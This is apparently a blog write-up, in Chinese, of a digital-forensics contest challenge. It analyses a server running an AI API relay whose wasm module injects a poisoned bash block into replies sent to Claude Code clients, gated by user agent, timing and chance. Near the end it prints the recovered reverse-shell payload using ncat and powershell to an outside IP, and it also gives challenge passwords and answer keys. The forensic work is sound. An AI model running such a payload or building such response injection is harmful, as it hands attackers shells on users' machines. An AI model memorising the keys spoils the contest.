云计算百科
云计算领域专业知识百科平台

【电子取证】——第三届“平航杯”电子数据取证竞赛服务器取证部分

分析服务器镜像,内核版本为?【答案:6.8.0-107-generic】

​

image

​

分析服务器镜像,用户登录成功系统的次数为?【答案格式:9】

​

image

​

分析服务器镜像,redis数据库服务密码是多少? 【答案:zjjcxy】

搜索requirepass​

​

image

​

分析服务器镜像,api站点后台管理员密码所用的加密算法为?【答案:Argon2id】

​

image

​

分析服务器镜像,api站点后台管理员密码为【答案:b123321b】

我真懒得爆破

​

image

​

分析服务器镜像,登录api网站后台,后台通知设置里的超时事件(毫秒)为?【答案:114514】

这里要仿真起来网站,步骤如下

安装 Node.js 和 npm

apt update
apt install -y nodejs npm

开启Redis
  • 检查 Redis 服务状态
  • systemctl status redis-server

  • 如果未运行,启动 Redis 服务
  • systemctl start redis-server
    systemctl enable redis-server  # 设置开机自启

  • 测试 Redis 连接
  • redis-cli -a zjjcxy ping
    # 应该返回 PONG

    安装项目依赖

    npm install

    启动网站服务

    cd /home/zaoqiwang/claude-relay-service
    npm start

    或者以后台守护进程方式启动:

    npm run service:start:daemon

    查看服务状态

    npm run service:status

    查看日志

    npm run service:logs

    或者实时查看日志

    npm run service:logs:follow

    本题目

    ​

    image

    ​

    分析服务器镜像,登录api网站后台,查询总Token消耗数量为?【答案:474.2K】

    ​

    image

    ​

    分析服务器镜像,登录api网站后台,查询最早创建apikey的时间为?【答案:2026-04-01T11:11:07.535Z】

    按照后边的这个格式来

    ​

    image

    ​

    ​

    image

    ​

    分析服务器镜像,编写脚本,通过调用inject_bash_blocks函数,确定恶意投毒的payload。【答案:ncat.exe 156.238.239.253 1314 -e powershell】

    #!/usr/bin/env node

    'use strict'

    const bashBlockInjector = require('./src/utils/bashBlockInjector')

    const { injectBashBlocks } = bashBlockInjector

    // 测试输入:包含 bash 代码块的文本
    const testInput = "```bash\\necho hello\\n```"

    console.log("Testing injectBashBlocks function")
    console.log("=".repeat(50))
    console.log("\\nInput:")
    console.log(testInput)

    // 调用函数
    const result = injectBashBlocks(testInput)

    console.log("\\nOutput:")
    console.log(result)

    console.log("\\n" + "=".repeat(50))
    console.log("Detected injection!")

    ​

    image

    ​

    接上题,should_inject_for_ua(ua, ip)对UA字符串有过滤条件,只有特定UA才会进入后续判断。请编写脚本找出有几个UA头能使函数有机会返回true的UA关键词。【答案:2】

    直接提取wasm文件,发现了一些神奇的东西

    strings …/bash_block_injector_bg.wasm | grep -i -E "curl|wget|httpx|claude|openclaw|bot|crawler|mozilla|requests|inject|ua" | head -50

    ​

    image

    ​

    接上题,只有当同一IP的上次请求距今足够近时,才会进入概率判断。请编写脚本确定这个时间窗口的阈值(单位:ms)。【答案:500,注意,只保留整百的,四舍五入】

    #!/usr/bin/env node

    'use strict'

    const _wasm = require('./src/utils/bash_block_injector_wasm/pkg/bash_block_injector.js')

    // 测试配置
    const TEST_INTERVALS = [350, 400, 450, 500, 550, 600] // 聚焦在临界区域
    const IPS_PER_INTERVAL = 500 // 增加样本数
    const TEST_UA = 'claude-code/1.0.0'

    console.log("=".repeat(80))
    console.log("Testing Time Window Threshold")
    console.log("=".repeat(80))
    console.log(`Test intervals: ${TEST_INTERVALS.join(', ')} ms`)
    console.log(`IPs per interval: ${IPS_PER_INTERVAL}`)
    console.log("=".repeat(80))

    // 生成唯一的 IP 地址
    function generateIP(index) {
    return `10.${Math.floor(index / 65536) % 256}.${Math.floor(index / 256) % 256}.${index % 256}`
    }

    // 测试单个间隔 – 使用两阶段测试
    async function testInterval(intervalMs, ipStartIndex) {
    // 第一阶段:初始化所有 IP(第一次调用会返回 true 并记录时间戳)
    const firstCallResults = []
    const ips = []

    for (let i = 0; i < IPS_PER_INTERVAL; i++) {
    const ip = generateIP(ipStartIndex + i)
    ips.push(ip)
    const result = _wasm.should_inject_for_ua(TEST_UA, ip)
    firstCallResults.push(result)
    }

    // 等待指定间隔
    await new Promise(resolve => setTimeout(resolve, intervalMs))

    // 第二阶段:再次调用相同的 IP,检测是否还能触发
    const secondCallResults = []
    for (let i = 0; i < IPS_PER_INTERVAL; i++) {
    const ip = ips[i]
    const result = _wasm.should_inject_for_ua(TEST_UA, ip)
    secondCallResults.push(result)
    }

    // 计算第二次调用的命中率
    const hitCount = secondCallResults.filter(r => r).length
    const hitRate = hitCount / IPS_PER_INTERVAL

    return { intervalMs, hitCount, hitRate, total: IPS_PER_INTERVAL, firstCallHitRate: firstCallResults.filter(r => r).length / IPS_PER_INTERVAL }
    }

    // 主测试流程
    async function runTests() {
    const results = []
    let ipIndex = 0

    for (const interval of TEST_INTERVALS) {
    console.log(`\\nTesting interval: ${interval}ms…`)
    const result = await testInterval(interval, ipIndex)
    results.push(result)
    ipIndex += IPS_PER_INTERVAL

    console.log(` Result: ${result.hitCount}/${result.total} hits (${(result.hitRate * 100).toFixed(1)}%)`)

    // 间隔之间短暂等待
    if (interval !== TEST_INTERVALS[TEST_INTERVALS.length – 1]) {
    await new Promise(resolve => setTimeout(resolve, 50))
    }
    }

    // 输出结果
    console.log("\\n" + "=".repeat(80))
    console.log("RESULTS SUMMARY")
    console.log("=".repeat(80))
    console.log("Interval (ms) | Hit Rate")
    console.log("-".repeat(40))

    for (const result of results) {
    const bar = '█'.repeat(Math.round(result.hitRate * 20))
    console.log(`${String(result.intervalMs).padStart(13)} | ${(result.hitRate * 100).toFixed(1)}% ${bar}`)
    }

    // 找到阈值 – 找到从有命中到无命中的转折点
    console.log("\\n" + "=".repeat(80))
    console.log("THRESHOLD ANALYSIS")
    console.log("=".repeat(80))

    let threshold = null
    for (let i = 0; i < results.length – 1; i++) {
    const current = results[i]
    const next = results[i + 1]

    // 找到从有命中率到无命中率的转折点
    if (current.hitCount > 0 && next.hitCount === 0) {
    threshold = next.intervalMs
    console.log(`Threshold found: Between ${current.intervalMs}ms and ${next.intervalMs}ms`)
    console.log(` At ${current.intervalMs}ms: ${current.hitCount}/${current.total} hits`)
    console.log(` At ${next.intervalMs}ms: ${next.hitCount}/${next.total} hits`)
    break
    }
    }

    // 如果没有找到明确转折,找命中率显著下降的点
    if (!threshold) {
    for (let i = 0; i < results.length – 1; i++) {
    const current = results[i]
    const next = results[i + 1]

    if (current.hitRate > 0.1 && next.hitRate < 0.05) {
    threshold = next.intervalMs
    console.log(`Threshold (probability drop): ${next.intervalMs}ms`)
    break
    }
    }
    }

    if (threshold) {
    console.log("\\n" + "=".repeat(80))
    console.log(`ANSWER: ${threshold}`)
    console.log("=".repeat(80))
    } else {
    console.log("\\nNo clear threshold found in tested range")
    }
    }

    // 运行测试
    runTests().catch(console.error)

    ​

    image

    ​

    接上题,在UA条件和IP时间条件均满足的前提下,函数仍有一定概率返回false。请编写脚本估算触发概率,并推算概率1/N(即理论上平均每N次满足前两个条件的调用才触发一次】。【答案:50,格式只保留整十】

    #!/usr/bin/env node

    'use strict'

    const _wasm = require('./src/utils/bash_block_injector_wasm/pkg/bash_block_injector.js')

    // 测试配置
    const TEST_COUNT = 1000000 // 增加测试次数,提高准确性
    const TEST_UA = 'claude-code/1.0.0' // 能触发 UA 检查的 UA
    const TEST_IP = '10.0.0.50' // 使用不同的 IP 验证

    console.log("=".repeat(80))
    console.log("Testing Trigger Probability")
    console.log("=".repeat(80))
    console.log(`Test count: ${TEST_COUNT}`)
    console.log(`Test UA: ${TEST_UA}`)
    console.log(`Test IP: ${TEST_IP}`)
    console.log("=".repeat(80))

    // 首先调用一次记录 IP 时间戳(确保后续调用时间条件满足)
    console.log("\\nInitializing IP timestamp…")
    _wasm.should_inject_for_ua(TEST_UA, TEST_IP)

    // 立即进行大量测试(0ms 间隔,确保时间条件满足)
    console.log(`Running ${TEST_COUNT} tests…`)

    let hitCount = 0
    const results = []

    for (let i = 0; i < TEST_COUNT; i++) {
    const result = _wasm.should_inject_for_ua(TEST_UA, TEST_IP)
    if (result) {
    hitCount++
    }
    results.push(result)

    // 每 1000 次显示进度
    if ((i + 1) % 1000 === 0) {
    const currentRate = hitCount / (i + 1)
    console.log(` Progress: ${i + 1}/${TEST_COUNT} (${(currentRate * 100).toFixed(4)}% hit rate)`)
    }
    }

    // 计算结果
    const hitRate = hitCount / TEST_COUNT
    const nValue = hitRate > 0 ? Math.round(1 / hitRate) : Infinity

    console.log("\\n" + "=".repeat(80))
    console.log("RESULTS")
    console.log("=".repeat(80))
    console.log(`Total tests: ${TEST_COUNT}`)
    console.log(`Hits (true): ${hitCount}`)
    console.log(`Misses (false): ${TEST_COUNT – hitCount}`)
    console.log(`Hit rate: ${(hitRate * 100).toFixed(4)}%`)
    console.log(`Probability: 1/${nValue.toFixed(2)}`)

    // 四舍五入到整十
    const roundedN = Math.round(nValue / 10) * 10

    console.log("\\n" + "=".repeat(80))
    console.log("ANSWER ANALYSIS")
    console.log("=".repeat(80))
    console.log(`Raw 1/N value: ${nValue.toFixed(2)}`)
    console.log(`Rounded to nearest 10: ${roundedN}`)

    console.log("\\n" + "=".repeat(80))
    console.log(`ANSWER: ${roundedN}`)
    console.log("=".repeat(80))

    // 统计分析
    console.log("\\n" + "=".repeat(80))
    console.log("STATISTICAL ANALYSIS")
    console.log("=".repeat(80))

    // 计算连续命中的间隔
    const gaps = []
    let lastHitIndex = -1
    for (let i = 0; i < results.length; i++) {
    if (results[i]) {
    if (lastHitIndex >= 0) {
    gaps.push(i – lastHitIndex)
    }
    lastHitIndex = i
    }
    }

    if (gaps.length > 0) {
    const avgGap = gaps.reduce((a, b) => a + b, 0) / gaps.length
    const minGap = Math.min(…gaps)
    const maxGap = Math.max(…gaps)
    console.log(`Average gap between hits: ${avgGap.toFixed(2)} calls`)
    console.log(`Min gap: ${minGap}`)
    console.log(`Max gap: ${maxGap}`)
    console.log(`Total gaps analyzed: ${gaps.length}`)
    }

    ​

    image

    ​

    赞(0)
    未经允许不得转载:网硕互联帮助中心 » 【电子取证】——第三届“平航杯”电子数据取证竞赛服务器取证部分
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!